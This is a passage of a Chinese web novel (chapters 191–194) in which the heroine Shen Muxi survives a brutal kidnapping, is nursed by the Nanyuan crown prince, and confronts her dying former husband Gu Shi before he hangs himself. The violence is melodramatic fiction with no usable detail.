想来,对方是害怕她会用毒,卸了她肩膀的手臼。 她努力动了动双脚。 铁链传来了清脆的响声。 头顶传来了脚步声。 不多时,她前上方位置有了动静,强烈的阳光从越变越大的开口倾斜而入。 她一时没适应过来,眼前一片漆黑。 紧接着,一股失重感袭来。 天旋地转间,她已经被拎出地面。 还没等她开口,后颈一痛,她再次被打晕了。 再次醒过来的时候,天色已经漆黑。 她发现自己正在一处破败的庙宇。 神台上的泥塑仙家早已面目全非。 “醒了?” 身前不远处传来一个声音。 死去的回忆再次袭来。 沈慕兮惊恐地转头看向声音来源。 在她的右前方,有一个火堆,火堆旁,坐着一身粗布麻衣的苏勇。 火堆散发着昏黄的光,明灭不定地映照在他的脸庞上。 “你...”一开口,沈慕兮只觉得自己的声音干哑得不像话,喉咙更是痛得像是被刀划拉似的。 她舔了舔干裂的唇,努力咽了几次口水,感觉到喉咙得到了一点滋润,才继续开口,“你抓我来这里,有什么目的?” 似是发现了什么了不得的事情,苏勇上前抬起沈慕兮的脸。 “啧啧”摇头,“难怪顾时会将你错认,还真是相似,这张脸,不仅能让顾时不管不顾,全城搜查你的下落,连向来低调示人的南渊太子也不惜暴露自己的暗子。” 沈慕兮用力想要挣开他的手,却无论如何都挣不开,只好咬牙切齿地开口,“你究竟想如何?” “不如何。” 苏勇笑得不怀好意,“慕容景衍与傅君靖合谋灭了我在北宸的所有希望,顾时害死了我的妻女,捣了我的老巢,你作为他们心爱的女人,为他们恕罪,不过分吧。” 这章没有结束,请点击下一页继续阅读!熟悉的语气。 熟悉的动作。 沈慕兮压根不用猜就知道他想要做什么。 “你滚开,别用你的脏手碰我。” 双手动不了,她只能不断扭动双腿,想要踹开苏勇。 没想到,她这一挣扎,反而给了苏勇抓住她双腿的机会。 “我劝你还是乖乖的,不要乱动,毕竟,这荒山野岭的,万一咱们快活的时候,引来了其他野兽,可就不好了。” 沈慕兮红着眼啐了他一口唾沫。 “你个无赖,禽兽,冤有头债有主,我不认识什么顾时,你要找顾时报仇,有本事你就放了我直接找顾时,连累不相关的人,算什么本事?” 苏勇油盐不进,扯住她的裤腿,邪魅一笑。 “撕拉”一声。 她的裤腿被撕断,一截白花花的大腿露了出来。 “当时,我好像就是这么砍断你的腿的,对吗?”苏勇一脸痴迷地从小腿一路抚摸到大腿。 死前的痛苦回忆再次袭来。 沈慕兮再次忍不住心底的痛苦,惨叫出声。 雨夜,疼痛的双手,被扒掉的脸皮,还有,被砍断的腿... 她的记忆开始混乱。 完全不顾自己会不会死,开始没命似的挣扎,双脚猛踹,脑袋用力撞向苏勇。 苏勇扎扎实实挨了一下,被撞得眼冒金星。 “你个贱人,居然敢反抗?” 他怒极反手一巴掌甩在沈慕兮脸上。 又用力扯住沈慕兮的头发将她拖到了火堆旁。 沈慕兮双腿还在猛踹,挣扎间,她的被扯断裤腿的腿砸上火堆。 钻心的疼痛传来,她再次惨叫。 换来的是苏勇更加肆无忌惮的毒打。 一开始,她还能分清哪个是拳打,哪个是脚踢。 后面,她已经分不清了。 脑袋挨了许许多多的撞击,鲜血已经糊住了她的双眼。 不知道是苏勇打累了还是怎样。 落在她身上的拳脚,已经感觉不到了。 也许是,人即将死亡的时候。 所有的痛苦,都不会痛。 她要死了吗? 沈慕兮不知道。 要是死了... 她的筱筱怎么办? 满脑子都是对顾筱筱的牵挂,沈慕兮的意识告诉自己,不能沉睡。 可是,她真的好累... 她感觉自己正缓慢地下坠,最后,被黑暗完全吞噬。 ... 京城这几天发生了大事。 先是二公主傅咏絮在狱中自裁。 之后又是回疆圣女刺杀圣上被抓,当场暴毙。 紧接着,又是礼部侍郎、当今荣郡王顾时在抓拿山匪的时候被山匪所伤,整条手臂被砍断了。 之后就是圣上受了惊吓,从此卧床不起。 万般无奈之下,与世无争的显王监国。 仿佛几天内,京城已经经历了一次大换血。 又好像一切都没有改变过。 行宫别苑。 慕容景衍看着宫中太医给沈慕兮号脉,眼神冷得几乎要结冰。 “如何?” 老太医摇头。 “万幸的是,太子妃的双臂被卸的时间不长,只要假以时日就能恢复,只是,她受了极大的刺激,陷入沉睡,完全就是一种自我保护,能不能醒过来,只能看她的意志了。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第191章 褫夺荣郡王爵位,收回荣郡王府 慕容景衍不死心地询问,“若是有她在乎的人或事物在她身边陪伴,可有醒来的几率?” 老太医摇头,“概率不大,殿下还是莫要把希望寄托在此。” 老太医是慕容景衍早些年买通在北宸皇宫的太医院。 即使是慕容景衍之前要假装伤重,也没有用他。 若不是沈慕兮这次伤重,老太医都想跟慕容景衍请辞告老了。 看到慕容景衍身上还有斑斑点点的血迹,老太医提醒,“殿下身上的伤势也不轻,切忌太过损耗心神。” 慕容景衍摆了摆手没有说话。 老太医于心不忍,又叮嘱了几句,“这几天是太子妃的危险期,若是太子妃能熬过去,醒过来的机会还是很大的,太子总要考虑以后。” “好,本宫知道了。” 慕容景衍颔首,看到发丝尽白的老太医,开口道,“待新君上位,你就不宜留在太医院,及时想好去处才是关键。” “多谢殿下提点。” 老太医恭敬朝慕容景衍行了礼,悄然离开。 慕容景衍重新落座在床边。 看到她遍体鳞伤,全身绑满了绷带,他心如刀绞。 想起她当日所遭受的一切,他恨不得将苏勇千刀万剐。 那日—— 接到苏勇给他递了信,说要有一个了断时,他因为激动,身上伤口绷开,眼前一黑,几乎昏死过去。 苏勇如今变得有多么疯狂,他是知道的。 没了苏府,连支持他的回疆人都被回疆探子带了回去,之前的老巢被顾时捣了,现在的新巢被显王掏了。 他辛苦十多年的心血,一下子化为乌有。 不疯才怪。 顾时与他几乎同时赶到了山神庙。 扑鼻而来就是血腥味,触目所及,就是已经接近疯狂的苏勇正在虐打浑身是血、已经奄奄一息的沈慕兮。 怒火瞬间吞噬了他的理智。 自从母后去世以后,他已经很久没有过那么激烈的情绪波动。 比他更生气的是顾时。 看到沈慕兮奄奄一息,顾时怒喝一声,上前硬是扛下了苏勇充满仇恨的一刀。 用断了一臂的代价,换来了苏勇转瞬的分神。 给了他救回沈慕兮的机会。 只可惜,在他跟顾时准备给苏勇最后一击的时候。 傅君靖的人来了,阻止了他与顾时对苏勇的惩罚。 直到那时候,他才知道,所有的一切,都是傅君靖的设计。 千算万算,慕容景衍算漏了傅君靖居然会把主意打到沈慕兮身上。 这个代价,他会找傅君靖讨回来。 “是我不好。” 他轻轻握住了沈慕兮的手,声音沙哑,却语气轻柔。 贺玄进屋,停在屏风前。 “殿下,显王殿下来了。” 慕容景衍想也不想,“不见。” 贺玄又道,“显王殿下还带了不似人形的苏勇前来。” 慕容景衍握住沈慕兮的手紧了紧,很快就放下了。 临去前厅之前,他唤来了贺鸿,“让人好生在暗处看顾太子妃,若是有任何差池,你们都提头来见。” “是。” 前厅。 显王傅君靖一脸意气风发地端坐在客位,往日单纯无害的窝囊劲早已消失殆尽,整个人像是脱胎换骨一般。 浑身上下充斥着君临天下的睥睨气势。 在看到慕容景衍的那一刻,他眼眸微亮,笑着上前跟慕容景衍打招呼,仿佛山神庙的事情从没发生过。 “景兄,苏勇一事,多亏了景兄我才能这般顺利,如今,前朝余孽已清剿,回疆那边也将他们的叛徒处理了,咱们也算是能好好松一口气。” “是吗,那多谢显王殿下。”慕容景衍微微颔首,语气冷淡。 “你是不是还在怪我,给了苏勇掳走你太子妃的机会却没有提前跟你打招呼?” 他话音刚落,慕容景衍已经大步上前拎起了他的衣领。 “本宫说没说过,若是要以身入局,你可以利用本宫,可不能利用本宫身边的人?” 他一双眼眸,是充血的通红。 因为伤重未愈,他的脸色却是惨白一片。 看上去格外骇人。 傅君靖想要挣开他的手,却无论如何都挣不开。 最终只能无奈地叹了一口气,连嘴角的笑意也淡了几分,“可是事情都已经发生了,你现在说什么都于事无补,今日前来,我不是为了跟你谈论你的女人伤得多重,而是履行之前给你的承诺。” “承诺?”慕容景衍冷笑了一声,松开了揪着傅君靖的衣领,没有再说话。 傅君靖嘴角的笑容已然完全消失。 连眉头也微微皱起。 “阿景,你是南渊未来的国君,难道你不觉得你现在已经完全不像以前那个你了吗?” 在他的认知里,以前的慕容景衍,是为求目的,不择手段的。 哪怕让他做戏子,与那些男人虚与委蛇,也是信手拈来。 如今不过只是伤了一个女人... 觉得慕容景衍的做法太过不可思议,傅君靖无意间把对沈慕兮的轻视也说了出来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!等他反应过来自己说错话的时候,脸上已经扎扎实实挨了慕容景衍一个拳头。 “你疯了?” 难以置信地看向慕容景衍。 慕容景衍喘着粗气,“赶紧说完你的话,滚!” 傅君靖收起怒容,不再像最初看到慕容景衍那样面带笑容。 “既然合作已经结束,那么,就依南渊太子所言,北宸与南渊五十年互不进犯,苏勇,归你,顾时,我留他一命。” 说完,他也不再看慕容景衍,转身大步离开。 慕容景衍像是浑身力气都被抽走了一样。 软软跌坐在太师椅上。 半盏茶后。 贺玄回来了。 “殿下,显王已经走远了,还留下了不似人形的苏勇,以及带走了几个人。” 显然,带走的是他在这里安排的人。 慕容景衍神色蔫蔫,“走了就走了,难道还要本宫敲锣打鼓欢送他吗。” 贺玄对于慕容景衍跟傅君靖的关系很是费解。 很多时候,即使两人只是在谈论的话题都涉及各自立场的利益,也不曾像现在这么剑拔弩张。 偏偏... 难道,沈姑娘在殿下心中,当真这么重要? 他不敢问。 “还站在这里做什么?还不将苏勇丢去后山?” 慕容景衍的话让贺玄骤然回神。 他不敢多言,沉默着退下安排。 一直到傍晚时分。 慕容景衍才浑身是血地从后山回来。 才刚沐浴完毕。 又听到了贺鸿来报。 “荣郡王说,他说他在前厅等您,直到您见他为止。” “你让他滚,别脏了本宫跟本宫太子妃的眼。” 顾时被断手不过才过去几天,不好好休养跑着到这里来,无非就是想要卖惨并且跟沈慕兮哭诉一番自己后悔了。 只是他千算万算,没有算到沈慕兮还在昏迷。 而他所谓的后悔,不过只是因为自己如今落魄,想让自己心里好受一点的借口。 可是。 错了就是错了。 顾时那是自找的。 不管沈慕兮原不原谅顾时,他都不会干涉沈慕兮的想法。 眼下... 他没资格替沈慕兮原谅。 也没资格让顾时空等。 这是他们二人的过往。 他并不参与,也不干涉。 日子一天一天过去。 转眼暮夏已过。 快要入秋了。 按照慕容景衍最初的打算。 早应该在跟傅君靖达成和平共识的时候就离开了。 可沈慕兮一直没有清醒,傅君靖也没有赶人的意思。 他也就心安理得地住下。 他已经做好了沈慕兮一直醒不过来的准备。 期间,他让贺鸿给南渊那边递了信。 这天。 傅君靖再次上门找慕容景衍,想要跟慕容景衍修复二人之间的关系,再次被慕容景衍拒绝了。 贺玄不明所以,“殿下,以前显王到底也是我们的人,怎么到现在咱们反而跟他生分了?” 慕容景衍目光冷淡,“以前与他有交情,是因为我们有共同利益,如今没有共同利益,自然没有必要有过多的交流。” 从沈慕兮伤重一事,让他彻底看清了傅君靖的为人。 曾经他以为他与傅君靖是同一类人。 可是随着两人逐渐深交,他慢慢发现了他与傅君靖的不一样。 傅君靖没有心,所以,妻儿朋友,皆可算计。 就江山治理而言,他是一个非常出色的帝王人选。 可是,他不能。 他有自己的底线。 如今两人还能维持交情,不过只是因为,他们的出发点与利益暂时一致。 若他日遇到冲突,傅君靖定然会第一时间,笑眯眯地给他捅一刀。 似是不愿意再多说其他。 慕容景衍喝了药,就打发了贺玄去将之前的暗桩打乱重新安排。 贺玄离开没多久。 夏蝉面带喜色地找到慕容景衍,“殿下,沈姑娘有反应了。” ... 沈慕兮觉得自己做了一场非常可怕的噩梦。 梦中,苏勇一直在对她进行毫无休止的虐打,狰狞的表情不断交错,她已经完全分不清自己到底是沈慕兮还是沈曦。 “你害死了我的妻女,我要让慕容景衍跟顾时后悔一辈子。” “你别以为,你的女儿在丹阳,我就动不得她,看看这是什么?” 苏勇狞笑着逼她睁开眼睛看清眼前。 那是一张血淋淋的人皮。 “啊——” 沈慕兮惨叫一声,抬手就要打身前的人。 她挥手的力度极大,却被一只强有力的大手握住了。 “沈慕兮,是我。” 熟悉又让人安心的声音传来。 沈慕兮这才缓缓睁开眼睛。 眼前人脸色惨白,脸颊瘦削。 看上去,像是瘦了两大圈,可是潋滟的眼眸,在看向她时,却亮得惊人。 “慕容...” 才刚说出两个字,她就被自己粗哑的声音吓到了。 喉咙干得发疼,她抿了抿干裂的嘴唇,“水...” 这章没有结束,请点击下一页继续阅读!慕容景衍连忙把一直温着的暖水递到沈慕兮嘴边。 暖水入喉,沈慕兮才感觉自己活了过来,细细打量周围。 “这是...” “还是在行宫别苑。” 慕容景衍耐着性子解释。 在昏迷前,她受了极大的刺激,他现在说话都不敢提高音调,生怕会吓到她。 沈慕兮一开始脑子还是昏昏沉沉。 等慕容景衍提醒了她,这是行宫别苑,她才想起来,自己在昏迷前经历了什么。 整个人紧绷得像一张被拉满的弓。 “苏勇...” 慕容景衍将她拥入怀中轻轻拍打,“没事了,苏勇已经死了。” 她还是不放心,“那人诡计多端...” “不会再有苗疆圣女帮他了,事实上,回疆圣女以及曾经与他合作的,都是主战一派,可回疆新可汗并不喜欢战争,所以在得了傅君靖的信以后,就将主战的叛徒带回去自行处置。” 紧接着,慕容景衍又将沈慕兮昏迷时候发生的事情跟她说了一遍。 荣郡王在禁足期间私自领兵离府,圣上大怒,褫夺了顾时的荣郡王爵位。 裴望不知道怎么的,在追查一个凶杀案的时候,凶手直至后宫,圣上大怒,将他贬谪去了江南地区。 慕容景衍还想再说下去。 刚提及顾时的名字,沈慕兮已经满脸疲惫地打断了他的话。 “我累了。” “是我疏忽,”慕容景衍小心翼翼地扶她躺下,“你大病初愈,确实会累,先好好休息,其他不用多想。” 也许是慕容景衍在她身边,让她无比安心。 这一次,沈慕兮只觉得格外踏实。 脑袋才刚枕上软枕,眼皮就不自觉地阖起,紧接着,昏昏沉沉睡了过去。 顾时看着她平静的睡颜,终是缓缓吐出了一口浊气。 心头大石落地。 ... 自从沈慕兮醒过来以后,整个行宫别苑都是喜气洋洋。 经历了一些日子的细致休养。 她已经能安然下地。 自从刚清醒过来的时候慕容景衍提过一嘴顾时被沈慕兮打断以后,他就再也没有提及过顾时半句。 沈慕兮难免会好奇。 毕竟,慕容景衍不会无缘无故提及什么人。 喝过慕容景衍递过来的汤药后,她终于还是忍不住开口问道,“顾时如今何在?” 慕容景衍垂眸,“他现在还在卧床。” 卧床? 沈慕兮眉心微蹙,“他生病了吗?” 按道理,她的毒,暂时还不会让顾时卧床才对。 难道,有什么变数? “不。” 慕容景衍摇头。 将他之前对她说过的情况,又补充了一次。 自从苏勇死后。 顾时已经没了最后的用处。 裴望将顾时当初冒领旁人功劳的证据递交上去。 当今圣上震怒,当场被气得魂归西天。 显王登基成为新帝。 也许是为了凸显自己的仁义。 所以并没处死顾时。 而是将之前没有收回的荣郡王府收回,罢免了他的官位。 如今,他在京郊外的一处破房子居住。 王英带着顾筱筱的消息回来时,荣郡王府已经树倒猢狲散。 他倒是个忠心的,知道顾时落魄还留在顾时身边,怎么骂都骂不走。 “好,我知道了。” 沈慕兮仰首喝完最后一碗药,眼底闪过一抹冷意。 她昏迷了这么久,是时候去打落水狗了。 ... 破落的土屋外。 一个独臂的佝偻身形正在费力地打水。 顾时好不容易提了半桶水上来,眼看到了井口,没想到手上一松,几乎又掉下去了。 一直纤细白皙的手紧紧握住了手柄。 “谢谢,谢...” 在看清来人的那一刻,他到嘴边的话全数咽了回去。 转身就要走。 “顾时。” 沈慕兮轻轻唤了他一声。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第192章 真的是他的错吗? 顾时猛然停住了脚步。 如同沈慕兮第一次在南渊回来的时候,他叫住了她。 眼前的场景,是何其相似。 不过半年,物是人非。 顾时散乱的发丝落在鬓边。 好一会,才干涩开口,“你认错人了。” 他的声音沙哑带了几分颓然苍凉。 空气中,缭绕着腐肉的臭味,几只苍蝇,在他断臂的周围缭绕不散。 很明显,他断臂以后,伤势没有得到很好的养护,已经有了感染的迹象。 沈慕兮站在原地将他的落魄收入眼底。 时间仿佛在这一刻凝固了。 好一会,她才讥诮一笑。 “是吗?那我就把你当成一个素未谋面的陌生人了好了。 你猜,顾时想不想知道,为何他冒领别人功劳这么隐秘的事情都会被裴望知道得这么清楚?” 顾时猛然转头看向她,“是你?” “是我。”沈慕兮大方点头,看向顾时的目光愈发平静,“顾时,你之前不是一直都在问我为什么不原谅你?” 为什么? 顾时看着她平静的面容。 一时之间,到嘴边的话竟问不出口。 沈慕兮将他的神色尽收眼底。 嘴角笑容又加深了些,“因为啊,就在木兰山,你抱着苏柳溪离开的时候,我就已经死了,但凡你再往前走一步,就可以看到我那具残缺的尸体,但是你没有。” 在顾时逐渐从错愕变得惊恐的目光中,沈慕兮用力点头,“是的,木兰山的女尸,就是我,你在木兰山的时候不认她,我只好在木兰山另一端的深潭那里,让你捞起来好好看看我惨死时候的惨状了。” “对了,你还要不要猜一猜,为何筱筱也会对你这么冷淡甚至厌恶?” 说话间,她往前走了一步。 顾时连忙退了好几步。 因为断了一条手臂,他失去了平衡,重重跌倒在地,好半天爬不起来。 看着一步一步靠近自己的沈慕兮,他像是看到恶鬼一样,双腿不断将自己往后挪。 一边摇头,嘴里还在不断喊着,“不,我不信,你之前分明已经回来过了。” “因为,我回来要收取利息啊。” 顾时退无可退,沈慕兮停在他面前一步之遥,居高临下地看向他,笑容愈发灿烂。 “顾时,你难道没有想过,当初你母妃的死,很蹊跷?” “哦,对了,我再告诉你一件事情,筱筱的喉咙,是被你母妃烫坏的,所以,在她死前,我让她亲眼看着她的腿掉出来,之后再要了她的命;还有,苏柳溪母女,虞悦希让人拔了筱筱的指甲,勒死筱筱,如今我能给她一个痛快,已经是我对她作为孩子最后一次仁慈。” 明明心里有了猜测,顾时却还不愿意相信。 “不,你不是这样的人。” “我就是这样的人。” 沈慕兮冷声打断了顾时的话,“顾时,你也不要说什么以前你认识的沈慕兮是怎样怎样,那个单纯善良,一切以你为先的沈慕兮早就已经被你的小青梅害死了。” 想起自己死时遭受的痛苦,沈慕兮看向顾时的眼神充满了恨意。 那恨意几乎要化为实质,恨不得下一刻就将顾时千刀万剐。 好一会,她才从自己的痛苦之中抽身,神色疯狂地看向顾时。 “顾时,你肯定也想不到,苏柳溪是怎么死的吧?如果苏柳溪不死,苏勇还不可能这么快就发狂...” 顾时的眼眶染上一层猩红,似是在隐忍心中的情绪。 他看着笑得流出眼泪的沈慕兮,好半晌,才从嘴里艰难地挤出一句话,“你...到底为什么会变成这样?” 明明... 她是那么善良的一个人... 做出这种事情报复他的时候,她应该也会受到良心的谴责吧。 否则,又怎会有这种爱恨交织的疯狂情绪? 他打断了沈慕兮的话,将心里的问题问了出来,“你,是不是还很恨我?” “恨?” 沈慕兮像是听到了天大的笑话。 捂着肚子大笑不已。 倏地,她猛然收回自己的笑容,看向顾时的目光也充满了怨毒,“顾时,你还不配我恨,我只恨我自己,当初怎么就瞎了眼,居然喜欢你,还害了筱筱。” “本来我还打算用苏柳溪跟你互相折磨,没想到,你们两个都这么没用,苏柳溪受不了痛苦,激怒你,你居然还真信了她的激将法,将她活活踩死...” “好了,你不要说了,不要再说了...” 再说下去,她会毁了她在他心中的美好形象。 顾时用仅剩的左手捂住耳朵。 想要沈慕兮停止这一场谈话。 偏偏沈慕兮的笑声却是如影随形。 “不说不行啊,不说的话,你不就一辈子被蒙在鼓里了吗?” 话落,她蹲身在他面前,用力拽住他的衣领往前一拉,“顾时,我受到的痛苦,哪怕你不能感同身受,我都要让你一辈子不得安宁。” 顾时不敢看她的眼睛,不断别过脑袋,不与她对视。 这章没有结束,请点击下一页继续阅读!“怎么,不是你要问我怎么变成这样子的吗?如今我告诉了你所有事情的真相,你反而逃避了?” 她冷笑着松开了拎着顾时衣领的手,重新站起来,居高临下地睨着她,“顾时,我就问你,害死我母女的罪魁祸首就是你,你现在还哪来的脸质问我?” 是他吗? 是他害了她吗? 可是最开始,明明都是她自愿的啊... 在丹阳,他不想受苦,她出现了,他像是救命稻草一样抓着她,而她,何尝不也是把他当成一个避风港湾? 是他错了吗? 回来京都,与苏柳溪走近,也是为了让荣郡王府更上一层楼,他不过只是让她懂事一点,谁能想到,她受了委屈不跟他说。 是他错了吗? 她一直耿耿于怀,她死在木兰山,是他逼她去木兰山了吗?分明是她自己不告而别在先,结果死于非命。 最后,她竟然还把所有的问题矛头指向他... 真的是他错了吗? 顾时把自己心里的实质想法全数跟沈慕兮剖开,每一句“是他错了吗”的反问,都饱含了他的委屈。 一字字一句句,就差“我没错”几个大字刻在他的脑门。 简直就是... 死不悔改。 “是,不能全怪你,说到底,还是得怪我,怪我眼瞎,怪我看不出你的狼心狗肺,怪我自以为了解你,将一颗真心毫无保留地捧在你面前,最后害得自己跟筱筱都没了性命。” 似是要发泄长期压抑的情绪,说到后面,沈慕兮几乎是吼出来的。 也亏得这里偏僻,否则按照两人这种情绪激动的交谈,早已不知引来多少人围观。 吼完以后,沈慕兮明显整个人的精神状态都不一样了。 比起最开始来时压着所有的情绪。 此时她看上去多了几分鲜活。 顾时不由得开始怀疑自己——难道,真的是他的错吗? 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第193章 顾时上吊了 “顾时,你没错,真的。 你没错,你最好一辈子都保持这种好心态,不然我怕你一直睡不着。” 看到沈慕兮转身就要走,顾时心中一急就要追上,“慕慕。” 步子停下。 沈慕兮一动不动站在原地,与他相隔五步之遥,不说话,也没有转身。 仿佛在安静等待他的下文。 顾时紧握着仅剩的一个拳头,难堪地低下头,“对不起,我真的不知道...” “不管知不知道,伤害已经造成了。” 沈慕兮转身,一脸正色地看着他,眼底无悲无喜,也不再像刚才那样盈满恨意。 “顾时,我最后告诉你一次。 我跟筱筱,是被你小青梅母女二人害死的。 曾经的沈慕兮已经死了,如今出现在你面前的,是沈曦,是南渊太子妃,也是沈慕兮那抹带有不甘心回来跟你讨债的孤魂。 不管你以后,遭遇什么劫难,都是你罪有应得,是你的报应。” 沈慕兮再次提起筱筱是被苏柳溪母女害死。 顾时的脑子里出现的却是不久前,从南渊寻回筱筱时候,小姑娘的所有反常表现。 明明之前那么怯懦的一个姑娘,后面回来却像是换了一个人一样。 在他看不到的角落,女儿到底遭了多少罪? 因为他的忽略,害得她跟筱筱二人在府上各种被欺压。 可他却对这些事情一无所知。 这是他的过错。 他无法推脱。 “对不起...” 三个字像是千斤重,一下子将他压垮了。 一颗泪珠顺着他的脸颊滑落。 打湿了他的衣襟。 沈慕兮的心冷硬似铁,表情毫无波澜。 “我不原谅。” “顾时,你带着你的歉意,下地狱去吧。” 分明她的语气轻飘飘得就像在陌生人说话。 可顾时还是感觉到胸口像是被什么东西用力打砸了一番。 喉间一阵气血上涌,他终是没能将喉间鲜血按捺下去,“哇啦”地出了一大口鲜血。 沈慕兮无动于衷。 顾时一双眼睛,沁满水汽,死死地看着她,想要试图在她的脸上,看出一点点以往的温情。 可是没有。 什么都没有。 前所未有的绝望,笼罩着他。 他像是一下子被抽走了所有的生机。 在沈慕兮平淡目光的注视下,顾时后面长出来的乌黑发丝,肉眼可见地变得花白。 这是心血耗尽的结果。 也是沈慕兮之前下的毒药毒发的结果。 顾时。 活不久了。 但是,这是他应得的。 沈慕兮没有迟疑。 转身大步离开。 纵然感受到身后灼热的目光,她也没有再给顾时任何一个说话的机会。 ... 日子匆匆而过。 转眼又过去了大半个月。 显王终于在大臣们的进言中登基成为北宸新帝。 普天同庆。 大赦天下。 显王登基翌日。 慕容景衍将北宸的事宜处理完毕。 与沈慕兮踏上了回去南渊的路。 让所有人都万众瞩目的两国战事并没有起冲突。 让一部分人大失所望。 “也不知显王...啊不,新帝到底用了什么手段,居然可以将那些主战的老东西这么快就闭了嘴。” 沈马车里,沈慕兮好奇地掀开车窗帘往后看。 慕容景衍将她的脑袋掰回来。 “不过是一些旁门左道,你不知道比知道好。” 谁能想到,一向人前自我标榜光明磊落的傅君靖,居然会在月黑风高时,将人家老大臣的家眷全都绑了去,还扬言若是要战,就先把他们的妻儿送去战场... 那些老大臣,能不妥协吗? 沈慕兮只以为慕容景衍说傅君靖不按套路出牌,小声咕哝了一句,“必要时候必要手段,殿下你有时候就是不开窍。” 慕容景衍权当没听见,把温好的药递给沈慕兮。 等沈慕兮接过药之后,他才轻声开口,“顾时前几天上吊了。” 沈慕兮端药的手顿住了。 “王英被我们的喂了失心散,失忆后被我们送去了江南一处殷实家庭,以后,他就是江南布商沈岸的独子,沈英。 荣郡王府之前跟在苏柳溪母女身边的下人,也被我们处置了,其他下人,则各自发卖,而顾时上吊的原因...” 慕容景衍扯了扯嘴角,“估计是因为没人伺候,而且断臂的伤势福发太痛苦,所以才急着寻求解脱。 被人发现的时候,他的尸体已经腐烂发臭了,满头银发鲜血淋漓地掉了一地。” 沈慕兮笑了,“顾时健全的时候,没有下人伺候都活得一身狼狈,更别说他如今断了手臂,且断臂伤口无法愈合,再加上时不时的心绞痛,还吃了上顿没下顿,死了才是给他的解脱。” 说话的时候,沈慕兮的眼神落在慕容景衍身上。 她特意让人盯着顾时,若不是慕容景衍从中作梗,顾时根本没有机会成功自尽。 本小章还未完,请点击下一页继续阅读后面精彩内容!纵然顾时活不久,她心里依旧希望他是毒发身亡而非自裁。 果不其然,慕容景衍心虚地躲过了她的目光。 沈慕兮捧着药碗,一动不动地无声抗议。 终于,慕容景衍还是败下了阵。 “没错,是本宫让看守的人不用阻止他寻死。” 他一脸认真地看向沈慕兮,“你已经执着了一年多,是时候走出来了,沈慕兮,我不想你在往后的日子,都被顾时影响。” 只要顾时一天不死,她一天就会想着让顾时如何受折磨,时间一久,她还是会想着回来北宸... 她跟顾时的过去已经结束了。 她应该拥抱更好的人生,而不是一直沉沦在曾经犯过的错误里。 慕容景衍的话字字有力。 沈慕兮想不出任何反驳的理由。 如今两人关系微妙,她不可能无缘无故就跟慕容景衍说——她不恨顾时,但是,她要以顾时作为警醒,提醒自己以后不再犯同样的错误。 她仰头干脆地将手中药汁灌入喉咙。 许是药汁太苦,她喉间一阵酸涩,连带熏得眼睛也发烫。 心中所有的不甘,似乎都随着慕容景衍那句“顾时上吊”烟消云散。 放下药碗时,她的眼角滑落两行眼泪。 她想抬手拭去眼角的泪花,被慕容景衍抢先了一步。 “我知你心中委屈,想哭便哭吧。” 沈慕兮转头躲开了慕容景衍的手,自己胡乱在脸上擦了一通。 慕容景衍身子僵了一瞬,又迅速恢复如常。 “都已经过去了,我不会再想了。” 放下药碗后,沈慕兮看向慕容景衍,一脸认真,“殿下,之前我们说的合作...” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第194章 她的心跳,再次不争气地乱了 “咚”的一声,慕容景衍慌乱起身撞到了马车顶。 “本宫还有其他事情要处理,最近会比较忙。” 一边说着,他一边弯腰往外走。 显然不愿意多沟通。 沈慕兮微微皱眉。 转念一想,这些天慕容景衍都陪在自己身边。 确实没看他怎么处理公务。 虽然成功阻止了南渊北宸两国的战争,可当初他们离开南渊匆忙。 如今回到南渊,定然还要处理一些历史遗留问题。 慕容景衍,是该忙起来了。 想到这里,沈慕兮到嘴边的话全数咽了回去。 心中寻思着,筱筱如今在丹阳,想来也已经适应了丹阳的生活。 等慕容景衍忙过这段时间。 她再好好跟慕容景衍聊一聊,跟他道个别,感谢他救了筱筱,也变相救了她。 到时候她回去丹阳安顿好一切,就带着筱筱,四处游历... 她的想象很美好。 然而这种美好,在她回到邺城的第三天,看到顾筱筱的那一刻,戛然而止。 一而再再而三地将送走了的顾筱筱带回来。 沈慕兮想要掐死慕容景衍的冲动达到了顶峰。 “殿下这是何意?” 秋风带着凉意吹过。 仅剩的理智拉住了她脱缰狂奔的怒意。 她质问慕容景衍的语气极为平静。 声音却在颤抖。 “娘亲不要怪景叔叔,是筱筱求景叔叔让她带我回来的。” 顾筱筱可怜巴巴地抱着沈慕兮的腰。 不等沈慕兮有所反应,她已经自发双手举着藤条,跪在地上,“筱筱愿意自己受罚。” 小姑娘显然就是一路赶回来,身上风尘仆仆,眉宇之间还有疲态。 却还是第一时间前来见她,跟她请罪。 可见她心里还是十分在意她这个娘亲的。 对上她那漾着水汽的眸子,沈慕兮积攒得几乎要爆发的怒气,竟一下子像被戳破的皮球,慢慢瘪了下去。 “行了,你既然已经回来了,难道娘亲还要赶走你不成?” 她无奈地扶起顾筱筱,牵起她的手,“你先跟夏蝉去梳洗,然后去吃点东西,之后好好歇息,下次不许再这样赶路回来,听到吗?” 顾筱筱连连点头,忐忑地看了一眼慕容景衍,低头乖乖跟着夏蝉退下了。 红豆跟绿萝也被沈慕兮打发了去梳洗用膳歇息。 慕容景衍摸了摸鼻子,站在沈慕兮跟前,有点不知所措。 他知道沈慕兮很生气。 可是架不住顾筱筱让暗卫来请求他,请他带她回来南渊跟娘亲团聚... 带了顾筱筱回来,他甚至都做好了沈慕兮会发脾气的准备。 还摆出了一副“要杀要剐悉听尊便”的模样。 原以为,她让顾筱筱离开后,就会找他“兴师问罪”,不成想,左等右等,等了半天,她还是坐在原地,目光沉沉,让人猜不透他在想什么。 “那个...你要是生气的话,本宫...” 不等他把话说完,沈慕兮已经朝他行了一礼,“殿下若是还有事情要忙,就先去忙吧,我先去带筱筱洗漱了。” 慕容景衍上前抓住她的手臂,“你不生气?” 沈慕兮垂眸,“我有什么生气的立场?我知道殿下不是那种明知故犯的人,其中定然有筱筱的要求,殿下疼爱筱筱,我高兴都来不及,怎么会生气?” 说到后面,她果真朝慕容景衍扬起一抹笑容。 慕容景衍心里十分不是滋味。 这种时候,他宁愿她对他发脾气,也不想她对他这样客套疏离。 可是当他看到她没有挣开的手,他竟像是一下子被抽走了所有的力气。 